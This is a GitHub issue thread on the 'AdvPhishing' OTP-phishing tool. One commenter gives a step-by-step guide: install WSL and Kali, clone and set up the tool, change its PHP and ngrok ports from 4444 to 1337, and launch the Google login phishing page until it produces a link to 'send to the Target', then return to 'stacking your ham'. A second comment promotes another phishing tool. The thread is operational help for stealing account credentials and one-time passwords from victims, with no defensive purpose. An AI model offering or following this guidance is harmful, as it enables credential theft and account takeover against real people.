Ignitetch / AdvPhishing

This is Advance Phishing Tool ! OTP PHISHING
2.75k stars 752 forks source link

ngrok fix #144

Open RandomRyans opened 2 years ago

RandomRyans commented 2 years ago

https://github.com/RandomRyans/NGROK-FIX/blob/main/README.md### NGROK NOT CONNECTING ISSUES FIX FOR WSL WINDOWS 10 INSTALL

FIRST I INSTALL WSL ON WINDOWS 10

open powershell - RUN AS ADMIN

$# wsl --install
$# Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux
$# dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart
$# reboot
$# exit

WSL 2 requires an update to its kernel component.

For information please visit

https://aka.ms/wsl2kernel

install the update open the exe follow the prompt

open powershell - RUN AS ADMIN

$# wsl –set-default-version 2
$# exit

go to ms store search kali and install

launch the kali exe file

SEACH IN YOUR WINDOWS SEACRH BAR OR TYLE KALI IN POWERSHELL

allow install to complete

$ enter new consol username
$ enter new terminal username

WSL INSTALL completed

## <--------example that it installed successful ---->
#   
#
$#   ┌──(<username>💀project-rynix)-[]
$#   └─#
#
## <-----------------end of example------------------>

open powershell - RUN AS ADMIN (run either cmd)

$# kali 
$# wsl 

terminal will now change to linux

Two command options listed bellow 

Command Option 1 ( TO UNDERSTAND)

┌──(<username>💀project-rynix)-[]
└─# sudo su
    enter password: (you wont see anything when you type)

┌──(root💀project-rynix)-[]
└─# apt -y update

┌──(<username>💀project-rynix)-[]
└─# apt -y upgrade

┌──(<username>💀project-rynix)-[]
└─# apt install git

┌──(root💀project-rynix)-[]
└─# clear

┌──(root💀project-rynix)-[]
└─# cd

┌──(root💀project-rynix)-[]
└─# cd /

┌──(root💀project-rynix)-[/]
└─# cd mnt/

┌──(root💀project-rynix)-[/mnt/]
└─# cd c/

┌──(root💀project-rynix)-[/mnt/c/]
└─# cd users/

┌──(root💀project-rynix)-[/mnt/c/users/]
└─# cd <username>/

┌──(root💀project-rynix)-[/mnt/c//users/<username>]
└─# cd desktop/

┌──(root💀project-rynix)-[/mnt/c/users/<username>/desktop/]
└─# 

COMMAND OPTION 2 (ONE COMMAND)

┌──(root💀project-rynix)-[/mnt/c/users/<username>/desktop/]
└─#  $ cd && cd /mnt/c/users/<username>/desktop/DEBUG/AdvPhishing && ./ngrok http 1337

pause click on windows desktop and create a new folder named DEBUG

┌──(root💀project-rynix)-[/mnt/c/users//desktop/] └─# cd DEBUG/

┌──(root💀project-rynix)-[/mnt/c/users//desktop/DEBUG/] └─# cd git clone https://github.com/Ignitetch/AdvPhishing.git

┌──(root💀project-rynix)-[/mnt/c/users//desktop/DEBUG/] └─# cd AdvPhishing/

┌──(root💀project-rynix)-[/mnt/c/users//desktop/DEBUG/] └─# chmod 777 *

┌──(root💀project-rynix)-[/mnt/c/users//desktop/DEBUG/] └─# ./Linux-Setup.sh

go to www.ngrok.io right after you put ./Linuxsetup.sh in

sign up with google (fast no issues)

agree to terms

copy and past the ngrok auth command

by the time you did that your install should now be at the authtoken stage

NAVIGATE BACK TO THE INSTALL CONSOL

COPY AND PASTE NGROK CMD :

     ./ngrok authtoken <input authtoken here>

$# hit enter

INSTALL COMPLETE

#  now lets fix before we fail

<-------------------the fix to get ypur tunnel working ------------->

 ┌──(root💀project-rynix)-[/mnt/c/users/<username>/desktop/DEBUG/]
 └─# nano AdvPhishing.sh

# for example 
# tik tok line 47, 53 (use shift+C for line location)
# i use google.. not tiktok...

EXAMPLE < this is a copy and paste example to show you what to do >

## <----------------before fix ------------------------------------------>
                       cd sites/
                       cd tiktok/
                       echo ""
                       echo -e $'\e[1;33m\e[0m\e[1;77m \e[0m\e[1;33m\e[0m\e[1;36m       --------------------------->                           
                       echo -e $'\e[1;33m\e[0m\e[1;77m \e[0m\e[1;33m\e[0m\e[1;91m     !   PHP SERVER NOW STARTING  >                           
                       echo -e $'\e[1;33m\e[0m\e[1;77m \e[0m\e[1;33m\e[0m\e[1;36m       --------------------------->                                                    
    --LINE47           php -S 127.0.0.1:4444 > /dev/null 2>&1 &
                       sleep 3
                       echo ""
                       echo -e $'\e[1;33m\e[0m\e[1;77m \e[0m\e[1;33m\e[0m\e[1;36m       --------------------------->                           
                       echo -e $'\e[1;33m\e[0m\e[1;77m \e[0m\e[1;33m\e[0m\e[1;91m     !  NGROK SERVER NOW STARTING >                           
                       echo -e $'\e[1;33m\e[0m\e[1;77m \e[0m\e[1;33m\e[0m\e[1;36m       --------------------------->                                 
    --lINE53           ./ngrok http 4444 > /dev/null 2>&1 &

## <-------------NOW THE FIX -------------------------------------------->
                       cd sites/
                       cd tiktok/
                       echo ""
                       echo -e $'\e[1;33m\e[0m\e[1;77m \e[0m\e[1;33m\e[0m\e[1;36m       --------------------------->                           
                       echo -e $'\e[1;33m\e[0m\e[1;77m \e[0m\e[1;33m\e[0m\e[1;91m     !   PHP SERVER NOW STARTING  >                           
                       echo -e $'\e[1;33m\e[0m\e[1;77m \e[0m\e[1;33m\e[0m\e[1;36m       --------------------------->                                                    
    --LINE47           php -S 127.0.0.1:1337 > /dev/null 2>&1 &
                       sleep 3
                       echo ""
                       echo -e $'\e[1;33m\e[0m\e[1;77m \e[0m\e[1;33m\e[0m\e[1;36m       --------------------------->                           
                       echo -e $'\e[1;33m\e[0m\e[1;77m \e[0m\e[1;33m\e[0m\e[1;91m     !  NGROK SERVER NOW STARTING >                           
                       echo -e $'\e[1;33m\e[0m\e[1;77m \e[0m\e[1;33m\e[0m\e[1;36m       --------------------------->                                 
    --lINE53           ./ngrok http 1337 > /dev/null 2>&1 &

END <------------THE FIX EXPLAINED---------------------------------------->

CHANGE THE PORT OF NGROK AND PHP FROM 4444 TO 1337

$$ CTRL + X
$$ Y 
$$ HIT ENTER 

LEAVE THE CONSOL RUNNING IN BACKROUND FOR AFTER FIX

IF USING TERMINAL OPEN NEW TAB

$ sudo su
$ cd 
$ cd /
$ cd mnt
$ cd c 
$ cd users
$ cd <username>
$ cd desktop
$ cd DEBUG
$ cd AdvPhishing
$ ./ngrok http 1337

# __ OR

$ sudo su
# enter password
$ cd && cd /mnt/c/users/<username>/desktop/DEBUG/AdvPhishing && ./ngrok http 1337

IF USING KALI OPEN SECOND TERMINAL

$ ./ngrok http 1337

IF USING POWERSHELL OPEN NEW POWERSHELL

$  ngrok http 1337

Open your browser and go to 127.0.0.1:1337, dheck communication response

once that is confirmed now you want to run AdvPhishing

Now time to start and edit the fixed tunnel

return to first consol

$ ./AdvPhishing.sh
$ Y 

google login

$ 6 or 06

Now moddified script was changed from port 4444 to 1337

$ N

now you will get to the WT* where is my link section

====================== INFORMATION OF VICITM =========================

DO YOU WANT TO MODIFY URL ? (Y/N) : n 

------------------------- > > > > > >
Send this link to the Target : https://
 ------------------------- > > > > > > >

thats okay now go back to the other consol

$ ctrl + click the link (BAAAAAAAAAAMNNNNNN) $ BACK TO STACKING YOUR HAM

thebosshacker-in commented 2 years ago

Use The Tool = https://github.com/The-Boss-Hacker/BossAdv